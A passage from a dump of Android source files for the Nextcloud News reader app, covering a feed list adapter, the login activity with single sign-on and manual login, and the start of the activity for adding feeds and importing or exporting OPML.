SparseArray<String> unreadCountFeeds, SparseArray<String> starredCountFeeds, int downloadedPodcastsCount) {\n        this.unreadCountFolders = unreadCountFolders;\n        this.unreadCountFeeds = unreadCountFeeds;\n        this.starredCountFeeds = starredCountFeeds;\n        this.downloadedPodcastsCount = downloadedPodcastsCount;\n\n        BlockingExpandableListView bView = (BlockingExpandableListView) listView;\n\n        int firstVisPos = bView.getFirstVisiblePosition();\n        View firstVisView = bView.getChildAt(0);\n        int top = firstVisView != null ? firstVisView.getTop() : 0;\n\n        // Number of items added before the first visible item\n        int itemsAddedBeforeFirstVisible = 0;\n\n        bView.setBlockLayoutChildren(true);\n        notifyDataSetChanged();\n        bView.setBlockLayoutChildren(false);\n\n        // Call setSelectionFromTop to change the ListView position\n        if(bView.getCount() >= firstVisPos + itemsAddedBeforeFirstVisible)\n            bView.setSelectionFromTop(firstVisPos + itemsAddedBeforeFirstVisible, top);\n    }\n\n    private class ReloadAdapterAsyncTask extends AsyncTask<Void, Void, Tuple<ArrayList<AbstractItem>, SparseArray<ArrayList<ConcreteFeedItem>>>> {\n\n        @Override\n        protected Tuple<ArrayList<AbstractItem>, SparseArray<ArrayList<ConcreteFeedItem>>> doInBackground(Void... voids) {\n            StopWatch stopWatch = new StopWatch();\n            stopWatch.start();\n            Tuple<ArrayList<AbstractItem>, SparseArray<ArrayList<ConcreteFeedItem>>> ad = loadCategoriesAndItemsFromDatabase();\n            stopWatch.stop();\n            Log.v(TAG, \"Reload Adapter - time taken: \" + stopWatch);\n            return ad;\n        }\n\n        @Override\n        protected void onPostExecute(Tuple<ArrayList<AbstractItem>, SparseArray<ArrayList<ConcreteFeedItem>>> arrayListSparseArrayTuple) {\n            mCategoriesArrayList = arrayListSparseArrayTuple.key;\n            mItemsArrayList = arrayListSparseArrayTuple.value;\n            notifyDataSetChanged(); // inform list view that the data changed\n            notifyDataSetChangedAsync();\n            super.onPostExecute(arrayListSparseArrayTuple);\n        }\n\n    }\n\n    private class NotifyDataSetChangedAsyncTask extends AsyncTask<Void, Void, Void> {\n        SparseArray<String> starredCountFeedsTemp;\n        SparseArray<String> unreadCountFoldersTemp;\n        SparseArray<String> unreadCountFeedsTemp;\n        SparseArray<String> urlsToFavIconsTemp;\n        int downloadedPodcastsCountTemp;\n\n        @Override\n        protected Void doInBackground(Void... voids) {\n            StopWatch stopwatch = new StopWatch();\n            stopwatch.start();\n\n            SparseArray<String>[] temp = dbConn.getUnreadItemCountFeedFolder();\n\n            unreadCountFoldersTemp = temp[0];// dbConn.getUnreadItemCountForFolder();\n            unreadCountFeedsTemp = temp[1]; // dbConn.getUnreadItemCountForFeed();\n\n            starredCountFeedsTemp = dbConn.getStarredItemCount();\n            downloadedPodcastsCountTemp = dbConn.getDownloadedPodcastsCount(mContext);\n            urlsToFavIconsTemp = dbConn.getUrlsToFavIcons();\n\n            stopwatch.stop();\n            Log.v(TAG, \"Fetched folder/feed counts in \" + stopwatch);\n            return null;\n        }\n\n        @Override\n        protected void onPostExecute(Void aVoid) {\n            if(showOnlyUnread) {\n                for (int i = 0; i < mCategoriesArrayList.size(); i++) {\n                    AbstractItem item = mCategoriesArrayList.get(i);\n\n                    if(item instanceof FolderSubscribtionItem &&\n                            unreadCountFoldersTemp.get(((Long) item.id_database).intValue()) == null) {\n                        Log.v(TAG, \"Remove folder item: \" + item.header);\n\n                        // we need to keep the ALL_DOWNLOADED_PODCASTS in case at least one article is in there\n                        if (!(item.id_database == ALL_DOWNLOADED_PODCASTS.getValue() && downloadedPodcastsCount > 0)) {\n                            mCategoriesArrayList.remove(i);\n                            i--;\n                        }\n                    } else if(item instanceof ConcreteFeedItem &&\n                            unreadCountFeedsTemp.get(((Long) item.id_database).intValue()) == null) {\n                        Log.v(TAG, \"Remove feed item: \" + item.header);\n                        mCategoriesArrayList.remove(i);\n                        i--;\n                    } /* else {\n                        Log.v(TAG, \"Keep.. \" + unreadCountFoldersTemp.get(((Long) item.id_database).intValue()));\n                    } */\n                }\n\n                for (int i = 0; i < mItemsArrayList.size(); i++) {\n                    ArrayList<ConcreteFeedItem> item = mItemsArrayList.valueAt(i);\n                    for (int x = 0; x < item.size(); x++) {\n                        if (unreadCountFeedsTemp.get((int) item.get(x).id_database) == null) {\n                            item.remove(x);\n                            x--;\n                            Log.v(TAG, \"Remove sub feed!!\");\n                        }\n                    }\n                }\n            }\n\n            notifyCountDataSetChanged(unreadCountFoldersTemp, unreadCountFeedsTemp, starredCountFeedsTemp, downloadedPodcastsCountTemp);\n            super.onPostExecute(aVoid);\n        }\n    }\n\n\n    public void setHandlerListener(ExpListTextClicked listener)\n\t{\n\t\teListTextClickHandler = listener;\n\t}\n\tprotected void fireListTextClicked(long idFeed, boolean isFolder, Long optional_folder_id)\n\t{\n        if(eListTextClickHandler != null)\n\t\t\teListTextClickHandler.onTextClicked(idFeed, isFolder, optional_folder_id);\n\t}\n    protected void fireListTextLongClicked(long idFeed, boolean isFolder, Long optional_folder_id)\n    {\n        if(eListTextClickHandler != null)\n            eListTextClickHandler.onTextLongClicked(idFeed, isFolder, optional_folder_id);\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/LoginDialogActivity.java",
    "content": "/*\n * Android ownCloud News\n *\n * @author David Luhmer\n * @copyright 2013 David Luhmer david-dev@live.de\n *\n * This library is free software; you can redistribute it and/or\n * modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n * License as published by the Free Software Foundation; either\n * version 3 of the License, or any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n *\n * You should have received a copy of the GNU Affero General Public\n * License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n *\n */\n\npackage de.luhmer.owncloudnewsreader;\n\nimport static java.util.Objects.requireNonNull;\nimport static de.luhmer.owncloudnewsreader.Constants.MIN_NEXTCLOUD_FILES_APP_VERSION_CODE;\n\nimport android.annotation.SuppressLint;\nimport android.app.Activity;\nimport android.app.ProgressDialog;\nimport android.content.Intent;\nimport android.content.SharedPreferences;\nimport android.content.SharedPreferences.Editor;\nimport android.os.Bundle;\nimport android.text.Editable;\nimport android.text.InputType;\nimport android.text.SpannableString;\nimport android.text.TextUtils;\nimport android.text.TextWatcher;\nimport android.text.method.LinkMovementMethod;\nimport android.text.util.Linkify;\nimport android.util.Log;\nimport android.util.Patterns;\nimport android.view.View;\nimport android.widget.TextView;\n\nimport androidx.appcompat.app.AlertDialog;\nimport androidx.appcompat.app.AppCompatActivity;\n\nimport com.nextcloud.android.sso.AccountImporter;\nimport com.nextcloud.android.sso.FilesAppTypeRegistry;\nimport com.nextcloud.android.sso.api.NextcloudAPI;\nimport com.nextcloud.android.sso.exceptions.AccountImportCancelledException;\nimport com.nextcloud.android.sso.exceptions.AndroidGetAccountsPermissionNotGranted;\nimport com.nextcloud.android.sso.exceptions.NextcloudFilesAppNotInstalledException;\nimport com.nextcloud.android.sso.exceptions.NextcloudHttpRequestFailedException;\nimport com.nextcloud.android.sso.helper.SingleAccountHelper;\nimport com.nextcloud.android.sso.helper.VersionCheckHelper;\nimport com.nextcloud.android.sso.model.SingleSignOnAccount;\nimport com.nextcloud.android.sso.ui.UiExceptionManager;\n\nimport java.net.MalformedURLException;\nimport java.net.URL;\n\nimport javax.inject.Inject;\n\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.databinding.ActivityLoginDialogBinding;\nimport de.luhmer.owncloudnewsreader.di.ApiProvider;\nimport de.luhmer.owncloudnewsreader.model.NextcloudNewsVersion;\nimport de.luhmer.owncloudnewsreader.ssl.MemorizingTrustManager;\nimport de.luhmer.owncloudnewsreader.ssl.OkHttpSSLClient;\nimport io.reactivex.rxjava3.android.schedulers.AndroidSchedulers;\nimport io.reactivex.rxjava3.annotations.NonNull;\nimport io.reactivex.rxjava3.core.Observer;\nimport io.reactivex.rxjava3.disposables.Disposable;\nimport io.reactivex.rxjava3.schedulers.Schedulers;\n\n/**\n * Activity which displays a login screen to the user, offering registration as\n * well.\n */\npublic class LoginDialogActivity extends AppCompatActivity {\n\n    private final String TAG = LoginDialogActivity.class.getCanonicalName();\n\n    public static final int RESULT_LOGIN = 16000;\n\n    private final TextWatcher PasswordTextChangedListener = new TextWatcher() {\n        @Override\n        public void beforeTextChanged(CharSequence s, int start, int count, int after) {\n\n        }\n\n        @Override\n        public void onTextChanged(CharSequence s, int start, int before, int count) {\n\n        }\n\n        @Override\n        public void afterTextChanged(Editable s) {\n\n        }\n    };\n    protected @Inject SharedPreferences mPrefs;\n    protected @Inject MemorizingTrustManager mMemorizingTrustManager;\n    //private UserLoginTask mAuthTask = null;\n\n    // Values for email and password at the time of the login attempt.\n    private String mUsername;\n    private String mPassword;\n    private String mOc_root_path;\n\n    // UI references.\n    protected ActivityLoginDialogBinding binding;\n\n    private SingleSignOnAccount importedAccount = null;\n    private boolean mPasswordVisible = false;\n    private final View.OnClickListener TogglePasswordVisibilityListener = new View.OnClickListener() {\n        @Override\n        public void onClick(View v) {\n            int lastSelection = binding.password.getSelectionEnd();\n            mPasswordVisible = !mPasswordVisible;\n\n            if (mPasswordVisible) {\n                binding.password.setInputType(InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_VISIBLE_PASSWORD);\n            } else {\n                binding.password.setInputType(InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_PASSWORD);\n            }\n\n            binding.password.setSelection(lastSelection);\n        }\n    };\n    /**\n     * Keep track of the login task to ensure we can cancel it if requested.\n     */\n    protected @Inject ApiProvider mApi;\n\n    @Override\n    protected void onStart() {\n        super.onStart();\n        mMemorizingTrustManager.bindDisplayActivity(this);\n    }\n\n    @Override\n    protected void onStop() {\n        mMemorizingTrustManager.unbindDisplayActivity(this);\n        super.onStop();\n    }\n\n    public void startSingleSignOn() {\n        var type = FilesAppTypeRegistry.getInstance().findByAccountType(\"nextcloud\"); // prod\n        if (!VersionCheckHelper.verifyMinVersion(LoginDialogActivity.this, MIN_NEXTCLOUD_FILES_APP_VERSION_CODE, type)) {\n            // Dialog will be shown automatically\n            return;\n        }\n\n        binding.oldLoginWrapper.setVisibility(View.GONE);\n\n        try {\n            AccountImporter.pickNewAccount(LoginDialogActivity.this);\n        } catch (NextcloudFilesAppNotInstalledException e) {\n            UiExceptionManager.showDialogForException(LoginDialogActivity.this, e);\n        } catch (AndroidGetAccountsPermissionNotGranted e) {\n            AccountImporter.requestAndroidAccountPermissionsAndPickAccount(this);\n        }\n    }\n\n    public void startManualLogin() {\n        attemptLogin();\n    }\n\n    public void manualLogin() {\n        binding.oldLoginWrapper.setVisibility(View.VISIBLE);\n    }\n\n    @Override\n    public void onCreate(Bundle savedInstance) {\n        super.onCreate(savedInstance);\n        ((NewsReaderApplication) getApplication()).getAppComponent().injectActivity(this);\n\n        binding = ActivityLoginDialogBinding.inflate(getLayoutInflater());\n        setContentView(binding.getRoot());\n\n        binding.btnSingleSignOn.setOnClickListener((v) -> startSingleSignOn());\n        binding.btnLogin.setOnClickListener((v) -> startManualLogin());\n        binding.tvManualLogin.setOnClickListener((v) -> manualLogin());\n\n        // Manual Login\n        binding.passwordContainer.setEndIconOnClickListener(TogglePasswordVisibilityListener);\n        binding.password.addTextChangedListener(PasswordTextChangedListener);\n\n        mUsername = mPrefs.getString(SettingsActivity.EDT_USERNAME_STRING, \"\");\n        mPassword = mPrefs.getString(SettingsActivity.EDT_PASSWORD_STRING, \"\");\n        mOc_root_path = mPrefs.getString(SettingsActivity.EDT_OWNCLOUDROOTPATH_STRING, \"\");\n        boolean mCbDisableHostnameVerification = mPrefs.getBoolean(SettingsActivity.CB_DISABLE_HOSTNAME_VERIFICATION_STRING, false);\n\n        // Set up the login form.\n        binding.username.setText(mUsername);\n        binding.password.setText(mPassword);\n        binding.edtOwncloudRootPath.setText(mOc_root_path);\n\n        binding.cbAllowAllSSLCertificates.setChecked(mCbDisableHostnameVerification);\n        binding.cbAllowAllSSLCertificates.setOnCheckedChangeListener((buttonView, isChecked) -> mPrefs.edit()\n                .putBoolean(SettingsActivity.CB_DISABLE_HOSTNAME_VERIFICATION_STRING, isChecked)\n                .commit());\n    }\n\n    @Override\n    public void onBackPressed() {\n        if (mPrefs.getString(SettingsActivity.EDT_OWNCLOUDROOTPATH_STRING, null) == null) {\n            // exit application if no account is set uo\n            finishAffinity();\n        } else {\n            // go back to previous activity\n            super.onBackPressed();\n        }\n    }\n\n    private ProgressDialog buildPendingDialogWhileLoggingIn() {\n        ProgressDialog pDialog = new ProgressDialog(this);\n        pDialog.setTitle(getString(R.string.login_progress_signing_in));\n        return pDialog;\n    }\n\n    private void loginSingleSignOn() {\n        final ProgressDialog dialogLogin = buildPendingDialogWhileLoggingIn();\n        dialogLogin.show();\n\n        Editor editor = mPrefs.edit();\n        editor.putString(SettingsActivity.EDT_OWNCLOUDROOTPATH_STRING, importedAccount.url);\n        editor.putString(SettingsActivity.EDT_PASSWORD_STRING, importedAccount.token);\n        editor.putString(SettingsActivity.EDT_USERNAME_STRING, importedAccount.name);\n        editor.putBoolean(SettingsActivity.SW_USE_SINGLE_SIGN_ON, true);\n        editor.commit();\n\n        resetDatabase();\n\n        SingleAccountHelper.commitCurrentAccount(this, importedAccount.name);\n\n        mApi.initApi(new NextcloudAPI.ApiConnectedListener() {\n            @Override\n            public void onConnected() {\n                Log.d(TAG, \"onConnected() called\");\n                finishLogin(dialogLogin);\n            }\n\n            @Override\n            public void onError(Exception ex) {\n                dialogLogin.dismiss();\n                Log.d(TAG, \"onError() called with: ex = [\" + ex + \"]\");\n                ShowAlertDialog(getString(R.string.login_dialog_title_error), ex.getMessage(), LoginDialogActivity.this);\n            }\n        });\n    }\n\n    /**\n     * Attempts to sign in or register the account specified by the login form.\n     * If there are form errors (invalid email, missing fields, etc.), the\n     * errors are presented and no actual login attempt is made.\n     */\n    @SuppressLint({\"SetTextI18n\"})\n    public void attemptLogin() {\n        // Reset errors.\n        binding.username.setError(null);\n        binding.password.setError(null);\n        binding.edtOwncloudRootPath.setError(null);\n\n        // Append \"https://\" is url doesn't contain it already\n        mOc_root_path = requireNonNull(binding.edtOwncloudRootPath.getText()).toString().trim();\n        if (!mOc_root_path.startsWith(\"http\")) {\n            binding.edtOwncloudRootPath.setText(\"https://\" + mOc_root_path);\n        }\n\n        // Store values at the time of the login attempt.\n        mUsername = requireNonNull(binding.username.getText()).toString().trim();\n        mPassword = requireNonNull(binding.password.getText()).toString();\n        mOc_root_path = binding.edtOwncloudRootPath.getText().toString().trim();\n\n        boolean cancel = false;\n        View focusView = null;\n\n        // Check for a valid password.\n        if (TextUtils.isEmpty(mPassword)) {\n            binding.password.setError(getString(R.string.error_field_required));\n            focusView = binding.password;\n            cancel = true;\n        }\n        // Check for a valid email address.\n        if (TextUtils.isEmpty(mUsername)) {\n            binding.username.setError(getString(R.string.error_field_required));\n            focusView = binding.username;\n            cancel = true;\n        }\n\n        if (TextUtils.isEmpty(mOc_root_path)) {\n            binding.edtOwncloudRootPath.setError(getString(R.string.error_field_required));\n            focusView = binding.edtOwncloudRootPath;\n            cancel = true;\n        } else {\n            try {\n                URL url = new URL(mOc_root_path);\n                if (!Patterns.WEB_URL.matcher(mOc_root_path).matches()) {\n                    throw new MalformedURLException();\n                }\n                if (!url.getProtocol().equals(\"https\")) {\n                    ShowAlertDialog(getString(R.string.login_dialog_title_security_warning),\n                            getString(R.string.login_dialog_text_security_warning), this);\n                }\n            } catch (MalformedURLException e) {\n                binding.edtOwncloudRootPath.setError(getString(R.string.error_invalid_url));\n                focusView = binding.edtOwncloudRootPath;\n                cancel = true;\n            }\n        }\n\n        if (cancel) {\n            // There was an error; don't attempt login and focus the first\n            // form field with an error.\n            focusView.requestFocus();\n        } else {\n            Editor editor = mPrefs.edit();\n            editor.putString(SettingsActivity.EDT_OWNCLOUDROOTPATH_STRING, mOc_root_path);\n            editor.putString(SettingsActivity.EDT_PASSWORD_STRING, mPassword);\n            editor.putString(SettingsActivity.EDT_USERNAME_STRING, mUsername);\n            editor.putBoolean(SettingsActivity.SW_USE_SINGLE_SIGN_ON, false);\n            editor.commit();\n\n            resetDatabase();\n\n            final ProgressDialog dialogLogin = buildPendingDialogWhileLoggingIn();\n            dialogLogin.show();\n\n            mApi.initApi(new NextcloudAPI.ApiConnectedListener() {\n                @Override\n                public void onConnected() {\n                    Log.d(TAG, \"onConnected() called\");\n                    finishLogin(dialogLogin);\n                }\n\n                @Override\n                public void onError(Exception ex) {\n                    dialogLogin.dismiss();\n                    Log.d(TAG, \"onError() called with: ex = [\" + ex + \"]\");\n                    ShowAlertDialog(getString(R.string.login_dialog_title_error), ex.getMessage(), LoginDialogActivity.this);\n                }\n            });\n        }\n    }\n\n    private void resetDatabase() {\n        //Reset Database\n        DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(LoginDialogActivity.this);\n        dbConn.resetDatabase();\n    }\n\n    private void finishLogin(final ProgressDialog dialogLogin) {\n        mApi.getNewsAPI().version()\n                .subscribeOn(Schedulers.newThread())\n                .observeOn(AndroidSchedulers.mainThread())\n                .subscribe(new Observer<>() {\n                    boolean loginSuccessful = false;\n\n                    @Override\n                    public void onSubscribe(@NonNull Disposable d) {\n                        Log.v(TAG, \"onSubscribe() called with: d = [\" + d + \"]\");\n                    }\n\n                    @Override\n                    public void onNext(@NonNull NextcloudNewsVersion version) {\n                        Log.v(TAG, \"onNext() called with: status = [\" + version.version + \"]\");\n\n                        loginSuccessful = true;\n                        mPrefs.edit().putString(Constants.NEWS_WEB_VERSION_NUMBER_STRING, version.version).apply();\n\n                        if (version.version.equals(\"0\")) {\n                            ShowAlertDialog(getString(R.string.login_dialog_title_error), getString(R.string.login_dialog_text_zero_version_code), LoginDialogActivity.this);\n                            loginSuccessful = false;\n                        }\n\n                        importedAccount = null;\n                    }\n\n                    @Override\n                    public void onError(@NonNull Throwable e) {\n                        dialogLogin.dismiss();\n                        Log.v(TAG, \"onError() called with: e = [\" + e + \"]\");\n\n                        Throwable t = OkHttpSSLClient.HandleExceptions(e);\n\n                        if (t instanceof NextcloudHttpRequestFailedException && ((NextcloudHttpRequestFailedException) t).getStatusCode() == 302) {\n                            ShowAlertDialog(\n                                    getString(R.string.login_dialog_title_error),\n                                    getString(R.string.login_dialog_text_news_app_not_installed_on_server,\n                                            \"https://github.com/nextcloud/news/blob/master/docs/install.md#installing-from-the-app-store\"),\n                                    LoginDialogActivity.this);\n                        } else {\n                            ShowAlertDialog(getString(R.string.login_dialog_title_error), t.getMessage(), LoginDialogActivity.this);\n                        }\n                    }\n\n                    @Override\n                    public void onComplete() {\n                        dialogLogin.dismiss();\n\n                        Log.v(TAG, \"onComplete() called - Login successful: \" + loginSuccessful);\n\n                        if (loginSuccessful) {\n                            Intent returnIntent = new Intent();\n                            setResult(RESULT_OK, returnIntent);\n                            finish();\n                        }\n                    }\n                });\n    }\n\n    public static void ShowAlertDialog(String title, String text, Activity activity) {\n        // Linkify the message\n        final SpannableString s = new SpannableString(text != null ? text : activity.getString(R.string.login_dialog_select_account_unknown_error_toast));\n        Linkify.addLinks(s, Linkify.ALL);\n\n        AlertDialog aDialog = new AlertDialog.Builder(activity)\n                .setTitle(title)\n                .setMessage(s)\n                .setPositiveButton(activity.getString(android.R.string.ok), null)\n                .create();\n        aDialog.show();\n\n        // Make the textview clickable. Must be called after show()\n        ((TextView) aDialog.findViewById(android.R.id.message)).setMovementMethod(LinkMovementMethod.getInstance());\n    }\n\n    @Override\n    public void onActivityResult(int requestCode, int resultCode, Intent data) {\n        super.onActivityResult(requestCode, resultCode, data);\n\n        try {\n            AccountImporter.onActivityResult(requestCode, resultCode, data, LoginDialogActivity.this, account -> {\n                LoginDialogActivity.this.importedAccount = account;\n                loginSingleSignOn();\n            });\n        } catch (AccountImportCancelledException ignored) {\n        }\n    }\n\n    @Override\n    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {\n        super.onRequestPermissionsResult(requestCode, permissions, grantResults);\n\n        AccountImporter.onRequestPermissionsResult(requestCode, permissions, grantResults, this);\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/NewFeedActivity.java",
    "content": "package de.luhmer.owncloudnewsreader;\n\nimport static android.content.pm.PackageManager.PERMISSION_GRANTED;\nimport static java.util.Objects.requireNonNull;\n\nimport android.Manifest;\nimport android.animation.Animator;\nimport android.animation.AnimatorListenerAdapter;\nimport android.content.ContentResolver;\nimport android.content.ContentValues;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.net.Uri;\nimport android.os.AsyncTask;\nimport android.os.Build;\nimport android.os.Bundle;\nimport android.os.Environment;\nimport android.provider.MediaStore;\nimport android.text.TextUtils;\nimport android.util.Log;\nimport android.util.Xml;\nimport android.view.MenuItem;\nimport android.view.View;\nimport android.view.inputmethod.InputMethodManager;\nimport android.widget.ArrayAdapter;\nimport android.widget.Toast;\n\nimport androidx.annotation.NonNull;\nimport androidx.appcompat.app.AlertDialog;\nimport androidx.appcompat.app.AppCompatActivity;\nimport androidx.core.app.ActivityCompat;\nimport androidx.core.content.ContextCompat;\nimport androidx.fragment.app.Fragment;\nimport androidx.fragment.app.FragmentTransaction;\n\nimport org.json.JSONException;\nimport org.json.JSONObject;\nimport org.xmlpull.v1.XmlPullParser;\n\nimport java.io.BufferedReader;\nimport java.io.ByteArrayInputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.OutputStream;\nimport java.io.OutputStreamWriter;\nimport java.net.URL;\nimport java.nio.charset.StandardCharsets;\nimport java.text.SimpleDateFormat;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport javax.inject.Inject;\n\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.Feed;\nimport de.luhmer.owncloudnewsreader.database.model.Folder;\nimport de.luhmer.owncloudnewsreader.databinding.ActivityNewFeedBinding;\nimport de.luhmer.owncloudnewsreader.di.ApiProvider;\nimport de.luhmer.owncloudnewsreader.helper.AsyncTaskHelper;\nimport de.luhmer.owncloudnewsreader.helper.OpmlXmlParser;\nimport de.luhmer.owncloudnewsreader.helper.ThemeChooser;\nimport de.luhmer.owncloudnewsreader.helper.URLConnectionReader;\nimport de.luhmer.owncloudnewsreader.ssl.OkHttpSSLClient;\nimport retrofit2.Call;\nimport retrofit2.Callback;\nimport retrofit2.Response;\n\npublic class NewFeedActivity extends AppCompatActivity {\n\n    private static final String TAG = NewFeedActivity.class.getCanonicalName();\n    public final static String ADD_NEW_SUCCESS = \"success\";\n    private static final int PERMISSIONS_REQUEST_WRITE_CODE = 1;\n    private final static int REQUEST_CODE_OPML_IMPORT = 2;\n\n    // UI references.\n    protected ActivityNewFeedBinding binding;\n\n    private List<Folder> folders;\n    protected @Inject ApiProvider mApi;\n\n    protected boolean useMediaStore = Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q;\n\n    @NonNull\n    public static String convertStreamToString(InputStream is) throws Exception {\n        BufferedReader reader = new BufferedReader(new InputStreamReader(is));\n        StringBuilder sb = new StringBuilder();\n        String line;\n        while ((line = reader.readLine()) != null) {\n            sb.append(line).append(\"\\n\");\n        }\n        reader.close();\n        return sb.toString();\n    }\n\n    public static String getStringFromFile(String filePath) throws Exception {\n        File fl = new File(filePath);\n        FileInputStream fin = new FileInputStream(fl);\n        String ret = convertStreamToString(fin);\n        //Make sure you close all streams.\n        fin.close();\n        return ret;\n    }\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        ((NewsReaderApplication) getApplication()).getAppComponent().injectActivity(this);\n\n        ThemeChooser.chooseTheme(this);\n        super.onCreate(savedInstanceState);\n        ThemeChooser.afterOnCreate(this);\n\n        binding = ActivityNewFeedBinding.inflate(getLayoutInflater());\n        setContentView(binding.getRoot());\n\n        binding.btnAddFeed.setOnClickListener((v) -> btnAddFeedClick());\n        binding.btnImportOpml.setOnClickListener((v) -> importOpml());\n        binding.btnExportOpml.setOnClickListener((v) -> exportOpml());\n\n        setSupportActionBar(binding.toolbarLayout.toolbar);\n        requireNonNull(getSupportActionBar()).setDisplayHomeAsUpEnabled(true);\n\n        DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(this);\n\n\n        folders = dbConn.getListOfFolders();\n        Folder rootFolder = new Folder(0, getString(R.string.move_feed_root_folder));\n\n        if (folders.isEmpty()) {\n            // list is of type EmptyList and is not modifiable - therefore create a new modifiable list\n            folders = new ArrayList<>();\n        }\n\n        folders.add(0, rootFolder);\n\n        String[] folderNames = folders.stream().map(Folder::getLabel).toArray(String[]::new);\n\n        ArrayAdapter<String> spinnerArrayAdapter = new ArrayAdapter<>(this, android.R.layout.simple_spinner_dropdown_item, folderNames);\n        binding.spFolder.setAdapter(spinnerArrayAdapter);\n\n        Intent intent = getIntent();\n        String action = intent.getAction();\n\n        if (action != null) {\n            String url = \"\";\n            if (action.equals(Intent.ACTION_VIEW)) {\n                url = intent.getDataString();\n            } else if (action.equals(Intent.ACTION_SEND)) {\n                url = intent.getStringExtra(Intent.EXTRA_TEXT);\n            }\n\n            try {\n                validatePathOrThrowException(url);\n\n                if (url.endsWith(\".opml\")) {\n                    AsyncTaskHelper.StartAsyncTask(new ImportOpmlSubscriptionsTask(url, NewFeedActivity.this));\n                }\n\n                // String scheme = intent.getScheme();\n                // ContentResolver resolver = getContentResolver();\n\n                // Uri uri = intent.getData();\n                Log.v(\"tag\", \"Content intent detected: \" + action + \" : \" + url);\n                binding.etFeedUrl.setText(url);\n            } catch (IllegalStateException e) {\n                Log.e(TAG, e.getMessage());\n                showAlertDialog(e.getMessage());\n            }\n        }\n    }\n\n    private void showAlertDialog(String text) {\n        new AlertDialog.Builder(this)\n                .setMessage(text)\n                .setTitle(getString(R.string.opml_export))\n                .setNeutralButton(getString(android.R.string.ok), null)\n                .create()\n                .show();\n    }\n\n    private void validatePathOrThrowException(String path) {\n        // Prevent java/path-injection\n        // https://github.com/nextcloud/news-android/security/code-scanning/5\n\n        if (path == null) {\n            throw new IllegalStateException(\"Path is empty\");\n        } else if (path.contains(\"..\")) {\n            throw new IllegalStateException(\"Path contains forbidden character\");\n        }\n    }\n\n    private void openFilePicker() {\n        startActivityForResult(new Intent(Intent.ACTION_GET_CONTENT).addCategory(Intent.CATEGORY_OPENABLE).setType(\"*/*\"), REQUEST_CODE_OPML_IMPORT);\n    }\n\n    public void btnAddFeedClick() {\n        // Hide keyboard\n        InputMethodManager imm = (InputMethodManager) getSystemService(\n                Context.INPUT_METHOD_SERVICE);\n        imm.hideSoftInputFromWindow(binding.etFeedUrl.getWindowToken(), 0);\n\n        attemptAddNewFeed();\n    }\n\n    public void importOpml() {\n        openFilePicker();\n    }\n\n    @Override\n    protected void onActivityResult(int requestCode, int resultCode, Intent data) {\n        super.onActivityResult(requestCode, resultCode, data);\n\n        if (requestCode == REQUEST_CODE_OPML_IMPORT && resultCode == RESULT_OK) {\n            final Uri importUri = data.getData();\n\n            switch (importUri.getScheme()) {\n                case ContentResolver.SCHEME_CONTENT:\n                case ContentResolver.SCHEME_FILE:\n                    new Thread(() -> {\n                        final File cacheFile = new File(getCacheDir().getAbsolutePath() + \"/import.opml\");\n                        byte[] buffer = new byte[4096];\n                        try (\n                                final InputStream inputStream = getContentResolver().openInputStream(importUri);\n                                final FileOutputStream outputStream = new FileOutputStream(cacheFile)\n                        ) {\n                            int count;\n                            while ((count = inputStream.read(buffer)) > 0) {\n                                outputStream.write(buffer, 0, count);\n                            }\n                            runOnUiThread(() -> AsyncTaskHelper.StartAsyncTask(new ImportOpmlSubscriptionsTask(cacheFile.getAbsolutePath(), NewFeedActivity.this)));\n                        } catch (IOException e) {\n                            e.printStackTrace();\n                            Toast.makeText(this, e.getLocalizedMessage(), Toast.LENGTH_LONG).show();\n                        }\n                    }).start();\n                    break;\n                default:\n                    Toast.makeText(this, \"Unknown URI scheme: \" + importUri.getScheme(), Toast.LENGTH_LONG).show();\n            }\n        }\n    }\n\n    public void exportOpml() {\n        String permission = Manifest.permission.WRITE_EXTERNAL_STORAGE;\n\n        if (useMediaStore) {\n            exportOpmlFile();\n        } else {\n            if (ContextCompat.checkSelfPermission(this, permission) != PERMISSION_GRANTED) {\n                if (ActivityCompat.shouldShowRequestPermissionRationale(this, permission)) {\n                    Toast.makeText(this, \"Please enable \\\"Write\\\" permission for Files and Media for the Nextcloud News App\", Toast.LENGTH_SHORT).show();\n                } else {\n                    ActivityCompat.requestPermissions(this, new String[]{permission}, PERMISSIONS_REQUEST_WRITE_CODE);\n                }\n            } else {\n                exportOpmlFile();\n            }\n        }\n    }\n\n    private void exportOpmlFile() {\n        String xml = OpmlXmlParser.GenerateOPML(this);\n\n        SimpleDateFormat format = new SimpleDateFormat(\"yyyy-MM-dd\");\n        String filename = \"subscriptions-\" + format.format(new Date()) + \".opml\";\n\n        try {\n            String path = \"\";\n            if (useMediaStore) {\n                ContentResolver contentResolver = getContentResolver();\n                ContentValues contentValues = new ContentValues();\n                contentValues.put(MediaStore.MediaColumns.DISPLAY_NAME, filename);\n                contentValues.put(MediaStore.MediaColumns.MIME_TYPE, \"application/xml\");\n                contentValues.put(MediaStore.MediaColumns.RELATIVE_PATH, Environment.DIRECTORY_DOWNLOADS);\n                Uri uri = 